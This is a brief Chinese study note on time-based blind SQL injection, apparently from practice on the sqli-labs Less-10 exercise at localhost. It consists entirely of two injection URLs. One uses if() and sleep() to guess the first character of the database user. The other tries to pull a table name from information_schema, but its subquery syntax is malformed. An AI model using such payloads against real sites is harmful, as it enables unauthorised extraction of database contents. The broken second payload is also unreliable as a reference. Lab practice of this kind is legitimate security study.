1.3.2-SQL注入-SQL盲注-时间盲注

http://localhost:90/Less-10/?id=1" and if(left(user(),1)='a',0,sleep(3))--+

http://localhost:90/Less-10/?id=1" and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='r',0,sleep(3))--+